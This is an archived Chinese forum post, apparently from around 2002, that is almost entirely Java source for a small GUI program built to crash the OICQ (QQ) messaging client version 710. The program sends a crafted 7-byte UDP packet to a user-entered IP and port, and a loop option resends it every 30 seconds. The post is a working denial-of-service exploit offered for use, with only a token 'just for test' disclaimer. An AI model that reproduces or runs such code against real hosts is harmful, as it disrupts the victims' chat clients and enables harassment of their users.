发信人: huangjb(臭皮匠)
整理人: zjxyz(2002-01-26 14:07:45), 站内信件
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源代码如下
package downoicq;
import java.net.*;
import java.awt.event.*;
import java.awt.*;
import java.io.IOException;
/**
* <p>Title: Down the oicq for version 710</p>
* <p>Description: just for test java don't use it for another reason</p>
* <p>Copyright: Copyright (c) 2001</p>
* @author jianbin1979
* @version 1.0
*/
public class SendByte extends Frame
{
/**
* normal variant defined
*/
private static final byte TTL = 1;
private static final int DATAPRAM_BYTES = 7;
private static final byte[] downBuf = {0x02,0x70,0x63,0x00,0x01,0x11,0x03};
private static int DEF_OICQ_PORT = 4000;
/**
* net variant
*/
private DatagramPacket downPkt;
private InetAddress downIna;
private int downPrt;
private MulticastSocket downSkt;
/* Gui variant */
private TextField pigIP;
private TextField pigPort;
private Button pigBtn;
private Button pigEbtn;
private Label pigError;
private Label pigStatus;
private Checkbox pigLoop;
private Dialog pigAlt;
/**
* construction
*/
public SendByte()
{
super("Pig Ocq");
pigIP = new TextField(15);
pigPort = new TextField("4000", 5);
pigBtn = new Button("Down the pig");
pigEbtn = new Button("ok");
pigAlt = new Dialog(this, "Wait", true);
pigError = new Label("Please input the field");
pigStatus = new Label("0");
pigLoop = new Checkbox("Loop kill the pig");
/**
* dialog construction
*/
pigAlt.setLayout(new FlowLayout());
pigAlt.add(pigError);
pigAlt.add(pigEbtn);
pigAlt.setSize(200, 70);
pigEbtn.addActionListener(
new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
pigAlt.setVisible(false);
}
});
/**
* frame construction
*/
this.setLayout(new FlowLayout());
this.setSize(300, 100);
this.setBackground(java.awt.Color.lightGray);
this.add(pigIP);
this.add(pigPort);
this.add(pigBtn);
this.add(pigLoop);
this.add(pigStatus);
/**
* frame event constructions
*/
pigBtn.addActionListener(
new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
downSend();
}
});
this.addWindowListener(new WindowAdapter()
{
public void windowClosing(WindowEvent e)
{
System.exit(0);
}
});
this.setLocation(300, 300);
this.setVisible(true);
}
/**
* send the down byte to the pig
*/
public void downSend()
{
new DownQQ().start();
}
public static void main(String[] args)
{
SendByte sendByte1 = new SendByte();
}
/**
* send down thread
*/
class DownQQ extends Thread
{
/* implements run mothod() */
public void run()
{
try
{
/* if empty then return */
if ( pigIP.getText().length()==0 || pigPort.getText().length()==0 )
{
pigAlt.show();
return;
}
downPrt = Integer.parseInt( pigPort.getText() );
downIna = InetAddress.getByName(pigIP.getText());
downPkt = new DatagramPacket(downBuf, downBuf.length, downIna, downPrt);
downSkt = new MulticastSocket();
/**
* loop kill for 60times 1min 1time
*/
try
{
/**
* if the loop if checked
* the ever 30secs send one
*/
if ( pigLoop.getState() )
{
int MAX_LOOP = 60;
int i = 0;
while (i<MAX_LOOP)
{
i++;
/* update the status */
pigStatus.setText( Integer.toString(i) );
downSkt.send(downPkt, TTL);
this.sleep(30000); // sleep 30 seconds
}
}
}
catch (Exception ex)
{}
downSkt.close();
}
catch (UnknownHostException ue)
{
System.out.println("destination host ip incorrect！");
}
catch (IOException ie)
{
System.out.println("send lost!");
}
}
}// end the down thread
} |
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